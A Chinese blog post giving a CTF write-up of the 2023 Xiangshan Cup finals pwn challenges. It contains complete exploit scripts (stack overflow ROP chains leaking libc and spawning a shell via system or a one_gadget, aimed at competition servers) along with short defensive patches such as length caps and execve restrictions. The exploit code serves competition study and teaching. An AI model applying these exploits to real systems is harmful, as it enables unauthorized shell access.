香山杯决赛

附件如下。

https://files.cnblogs.com/files/blogs/798207/xsb2023_final.tar.gz?t=1700382211&download=true

2023.11.19 广东中山

回家了两天，见了高中同学，晚上还去中大玩一下，明天回青岛。

> 孤胆英雄，归途远征。以一敌百，天下无双。

ezgame

攻击

有栈溢出漏洞，直接打游戏打到能打大boss溢出即可。

```python
#!python
from evilblade import *

context(os='linux', arch='amd64')
context(os='linux', arch='amd64', log_level='debug')

setup('./pwn2')
libset('./libc-2.31.so')
evgdb()
rsetup('39.106.48.123', 31448)

puts = pltadd('puts')
putsg = gotadd('puts')
rdi = 0x0000000000401a3b# pop rdi ; ret
for i in range(50):
    sla('>',b'2')
    sla('?',b'1')

sla('>',b'6')
sla('>',b'1')
sla('>',b'1')
sla('>',b'1')
sla('>',b'1')
sla('>',b'1')
sla('>',b'1')
sla('>',b'1')
sla('>',b'2')
sla('>',b'2')
sla('>',b'2')
sla('>',b'2')
sla('>',b'2')
sla('>',b'2')
sla('>',b'2')
sla('>',b'3')
sla('>',b'2')
sla('?',b'2')
sla('name',b'a'*0x658+p64(rdi)+p64(putsg)+p64(puts)+p64(0x4011d2))

ret = 0x0000000000401016 # ret
addx = tet()
addx = getx64(0,-1)
base = getbase(addx,'puts')
dpx('base',base)
sys = symoff('system',base)
sh  = base+0x00000000001b45bd
pause()
sla('>',b'2')
sla('?',b'2')
#sla('name',b'a'*0x658+p64(rdi)+p64(sh)+p64(ret)*2+p64(sys))
sla('name',b'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaacoaaaaaacpaaaaaacqaaaaaacraaaaaacsaaaaaactaaaaaacuaaaaaacvaaaaaacwaaaaaacxaaaaaacyaaaaaaczaaaaaadbaaaaaadcaaaaaaddaaaaaadeaaaaaadfaaaaaadgaaaaaadhaaaaaadiaaaaaadjaaaaaadkaaaaaadlaaaaaadmaaaaaadnaaaaaadoaaaaaadpaaaaaadqaaaaaadraaaaaadsaaaaaadtaaaaaaduaaaaaadvaaaaaadwaaaaaadxaaaaaadyaaaaaadzaaaaaaebaaaaaaecaaaaaaedaaaaaaeeaaaaaaefaaaaaaegaaaaaaehaaaaaaeiaaaaaaejaaaaaaekaaaaaaelaaaaaaemaaaaaaenaaaaaaeoaaaaaaepaaaaaaeqaaaaaaeraaaaaaesaaaaaaetaaaaaaeuaaaaaaevaaaaaaewaaaaaaexaaaaaaeyaaaaaaezaaaaaafbaaaaaafcaaaaaafdaaaaaafeaaaaaaffaaaaaafgaaaaaafhaaaaaafiaaaaaafjaaaaaafkaaaaaaflaaaaaafmaaaaaafnaaaaaafoaaaaaafpaaaaaafqaaaaaafraaaaaafsaaaaaaftaaaaaafuaaaaaafvaaaaaafwaaaaaafxaaaaaafyaaaaaafzaaaaaagbaaaaaagcaaaaaagdaaaaaageaaaaaagfaaaaaaggaaaaaaghaaaaaagiaaaaaagjaaaaaagkaaaaaaglaaaaaagmaaaaaagnaaaaaagoaaaaaagpaaaaaagqaaaaaagraaaaaagsaaaaaagtaaaaaaguaaaaaagvaaaaaagwaaaaaagxaaaaaagyaaaaaagzaaaaaahbaaaaaahcaaaaaahdaaaaaaheaaaaaahfaaaaaahgaaaaaahhaaaaaahiaaaaaahjaaaaaahkaaaaaahlaaaaaahmaaaaaahnaaaaaahoaaaaaahpaaaaaahqaaaaaahraaaaaahsaaaaaahtaaaaaahuaaaaaahvaaaaaahwaaaaaahxaaaaaahyaaaaaahzaaaaaaibaaaaaaicaaaaaai'+p64(rdi)+p64(sh)+p64(ret)+p64(sys))

dpx('base',base)

ia()
```

防御

由于存在栈溢出漏洞，添加相应防护即可。我是添加了限制execve的使用。

how_to_stack

攻击

赛后三分钟做出来的，有些可惜，不过一起写上来吧。

利用解密加密的方式，打入-1无需加密，泄露栈上内存，并且栈上内存可以指定，先泄露stack再泄露pie，打ret2os。

> 所以真的要非常在意栈上控制的临时变量！！！ 控制临时变量可以控制很多啊！！！！！！

```python
#!python
from evilblade import *

context(os='linux', arch='amd64')
context(os='linux', arch='amd64', log_level='debug')

setup('./pwn2')
libset('./libc.so.6')
evgdb()
rsetup('47.94.85.181', 41463)

rdi = 0x0000000000401a3b# pop rdi ; ret

sl(b'1')
sl(b'-1')
sa('Data',b'a'*0x67)
ru('hex: ')
data = ru('\n')[:-1].decode()
dp('data',data)
data = data.split(' ')
dp('data',data)
datab = b''
for i in data:
    datab += p8(int(i,16))
dp('datab len',len(datab))
dp('datab',(datab))
pay = datab
datab = uu64(datab[-6:])
dpx('datab',(datab))
stack = datab

sl(b'0')
sl(b'-1')
pay = 
b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'+p64(stack-0x70)
sa('Data',pay+p64(stack-0x100))
print(len(pay))
print((pay))

ru('hex: ')
data = ru('\n')[:-1].decode()
dp('data',data)
data = data.split(' ')
dp('data',data)
datab = b''
for i in data:
    datab += p8(int(i,16))
dp('datab len',len(datab))
dp('datab',(datab))

datab = uu64(datab[-6:])
pie = datab-6309
dpx('datab',(pie))
rdi = 0x00000000000019d3+pie #pop rdi ; ret
ret = 0x000000000000101a+pie #ret
puts = pltadd('puts')+pie
```

```
putsg = gotadd('puts')+pie
ru(':')
sl(b'0')
sl(b'-1')
pay = 
b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'+p64(stack)
sa('Data',pay+p64(stack-0x60)+p64(rdi)+p64(putsg)+p64(puts)+p64(pie+0x16af))
ru('\n')
ru('\n')
libc = getx64(0,-1)
base = getbase(libc,'puts')
os = base+0xe3b01
sl(b'-1')
sa('Data',pay+b'\0\0'+p64(stack)[:-2]+p64(os))
ia()
'''
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL
'''
```

防御

这题有

```
result = nbytes;
  if ( (_DWORD)nbytes )
  {
    memset(s, 0, 0x60uLL);
    printf("Data: ");
    read(0, s,nbytes );
```

把nbytes改为0x60即可防止溢出。

camera

防御

由于打堆都需要泄露，函数里的printf不安全，会泄露libc地址，把他换成程序自带的安全打印即可。

```
__int64 __fastcall sub_1768(const char *a1)
{
  int v2; // [rsp+1Ch] [rbp-4h]

  v2 = strlen(a1);
  write(1, a1, v2);
  return 1LL;
}
```

把call print改为call上面这个。